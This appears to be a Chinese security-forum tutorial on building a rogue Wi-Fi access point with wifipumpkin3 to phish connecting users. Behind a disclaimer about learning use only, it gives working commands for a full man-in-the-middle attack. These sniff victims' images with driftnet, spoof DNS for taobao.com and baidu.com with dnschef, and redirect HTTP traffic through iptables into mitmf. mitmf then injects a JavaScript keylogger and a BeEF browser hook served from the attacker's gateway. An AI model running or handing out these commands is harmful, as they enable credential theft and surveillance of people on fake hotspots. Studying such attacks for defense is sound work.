# wifipumpkin3无线钓鱼
## 声明(必看!必看!)
文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用。
## 安装
用**wifipumpkin3**使用Python 3编写,您的机器上需要有一个可以工作的 Python(**3.7 版或更高版本**)。
### 注意
- 不支持**Windows 。**
- 不支持**Mac OS X。**只有**docker**版本,但没有经过测试。
### 要求
您需要有一个支持**接入点 (AP) 模式**的 Wi-Fi 适配器。
### 工具(预装)
- iptables(当前:iptables v1.6.1)
- iw(当前:iw 版本 4.14)
- 网络工具(当前:版本(1.60+)
- 无线工具(当前:版本 30~pre9-12)
- hostapd(当前:hostapd v2.6)
### 操作系统(推荐)
| OS | Version |
| :----- | :------------------------ |
| Ubuntu | 18.04 LTS bionic |
| Docker | Ubuntu 18.04.4 LTS bionic |
### 安装在 Kali Linux 上
#### 安装os依赖和下载wifipumpkin3包
```
$ sudo apt install libssl-dev libffi-dev build-essential
$ git clone
https://github.com/P0cL4bs/wifipumpkin3.git
$ cd wifipumpkin3
```
#### 安装PyQt5
```
sudo apt install python3-pyqt5
```
检查pyqt5是否安装成功:
```
python3 -c "from PyQt5.QtCore import QSettings; print('done')"
```
如果回显done说明安装成功
#### 编译安装wifipumpkin3
```
$ sudo python3 setup.py install
```
如果您在下面看到此消息,则一切正常!
> Finished processing dependencies for wifipumpkin3==1.0.0
## 启动wifipumpkin3
在终端输入
```
wifipumpkin3
```
显示wp3

### 核心命令
> ```
> help
> ```
将列出所有可用的命令
> ```
> clients
> ```
使用高级 UI 显示接入点上连接的所有客户端
> ```
> ap
> ```
显示设置 AP 的所有变量和状态。您可以看到 ( `bssid`, `ssid`, `channel`, `security`, 或`status ap`)
> ```
> set
> ```
设置变量代理、插件和接入点,这个命令集就像 metasploit`set`命令。
> ```
> unset
> ```
未设置变量命令 hostapd_config
> ```
> start
> ```
启动接入点 (AP),如果没有问题,将会看到一个带有 hostapd 程序的新 AP。代理,插件也应该被初始化。
> ```
> stop
> ```
停止在后台运行的访问点、进程、线程、插件和代理。
> ```
> ignore
> ```
消息记录器将被忽略,参数可以是 ( `captiveflask`, `pumpkinproxy`, `pydns_server` `sniffkin3`)。如果您键入此命令,则不再看到登录控制台 WP。
> ```
> restore
> ```
消息记录器将被恢复,正如你在上面看到的,这个命令是相反的,`ignore`具有相同的参数将恢复控制台日志。
> ```
> info
> ```
从代理/插件获取信息,此命令显示代理/插件的一些信息,例如(日志路径,配置路径,描述)
> ```
> jobs
> ```
在后台显示所有线程/进程。有时您需要查找 WP 创建的进程的进程 ID 或线程名称。
> ```
> mode
> ```
显示所有可用的无线模式。
> ```
> plugins
> ```
显示所有可用的插件及其状态。
> ```
> proxies
> ```
显示所有可用的代理及其状态。
> ```
> show
> ```
显示可用的模块。
> ```
> search
> ```
按名称搜索模块,这将在未来 milion od modules :sunglasses: 可用时实现
> ```
> use
> ```
为模块选择模块,在 metasploit 模块中充满灵感。
> ```
> dump
> ```
从连接在 AP 上的客户端转储信息。
> ```
> dhcpconf
> ```
显示/选择 dhcp 服务器配置
> ```
> dhcpmode
> ```
显示/设置所有可用的 dhcp 服务器。
### 创建一个wifi
```
设置无线网卡
set interface wlan0
设置无线网信号(ATI按自己需求更改,就是创建出来的wifi名称)
set ssid ATI
设置插件
set proxy noproxy
开启dns转发
ignore pydns_server
开始攻击
start
```

用户连接无线后可以看到访问记录,http的可以显示提交内容等

## 攻击手法
### 图片嗅探
工具:driftnet
过程:
```
driftnet -i wlan0
```
然后程序会打开一个小窗口显示所有传输的图片:

注:这里一直说图片太小无法处理,而且抓不到全部图片,有研究这个的大佬可不可以指导指导。
单击图片保存到/
当然可以开启 Adjunct mode:
```
driftnet -i wlan0 -a
```
直接保存图片并显示文件名。

### 劫持DNS
工具:dnschef
过程:
```
dnschef -i 10.0.0.1 --nameserver 210.73.64.1#53
```
上述命令是以ip10.0.0.1(上文中的fakeap网关和DNS的ip)建立dns,对于所有请求转发到210.73.64.1进行解析。显然这只是个"代理"并没有劫持的功效
于是我们进化:
```
dnschef --fakedomains=taobao.com,baidu.com --fakeip=10.0.0.1 -i 10.0.0.1 --nameserver 210.73.64.1#53
```
把淘宝和百度解析到本机了。
### 劫持Web流量
工具:BEEF;mitmf;iptables
过程:
先把80端口的流量劫持走(这里10000是mitmf默认监听端口)
```
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
```
然后打开mitmf
```php
mitmf -i at0 --replace --search-str aaaaa --replace-str bbbbb
#把所有网页中的aaaaa替换成bbbbb
```
```
mitmf -i at0 --inject --js-url
http://10.0.0.1:3000/hook.js --jskeylogger
```
mitmf在这里注入了js键盘记录器和beef的攻击测试脚本,由于本人精力有限其余的攻击方式(比如javapwn)可以自己研究。
最后用BEEF测试用户浏览器
/usr/share/beef-xss/beef
浏览器打开
http://127.0.0.1:3000/ui/panel ,初始用户名和密码都是beef
beef详细钓鱼手法大家网上手动查一下,就不在此处详细描述了。
## 踩坑总结
### 报错 the interface not found or is unavailable

interface 指定网卡错误 或者未插入此网卡 ifconfig查看自己无线网卡名称
插入无线网卡后重新执行start(不重新set参数会默认执行上次设定的参数)

成功创建名称为ATI的无线
### 无线无法获取到地址
dhcp配置错误
```
ease-time 8000;
subnet 10.0.0.0 netmask 255.255.255.0 {
option routers 10.0.0.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 10.0.0.1;
range 10.0.0.10 10.0.0.100;
}
```
将上面的代码添加到 /etc/dhcp/dhcpd.conf
重新启动dhcp服务
```
dhcpd -cf /etc/dhcp/dhcpd.conf
```
### 连接无线无法上网
```php
echo 1 > /proc/sys/net/ipv4/ip_forward
#开启ip转发
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
#对eth0进行snat
iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
#把无线网卡流量转发到有线网卡(或者什么能上网的网卡)上面
iptables -A FORWARD -p tcp --syn -s 10.0.0.0/24 -j TCPMSS --set-mss 1356
#修改最大报文段长度
```
## 互相交流
欢迎各位大佬指出不足,互相交流安全知识,共同守护网络安全!
使用道具 举报
额
使用道具 举报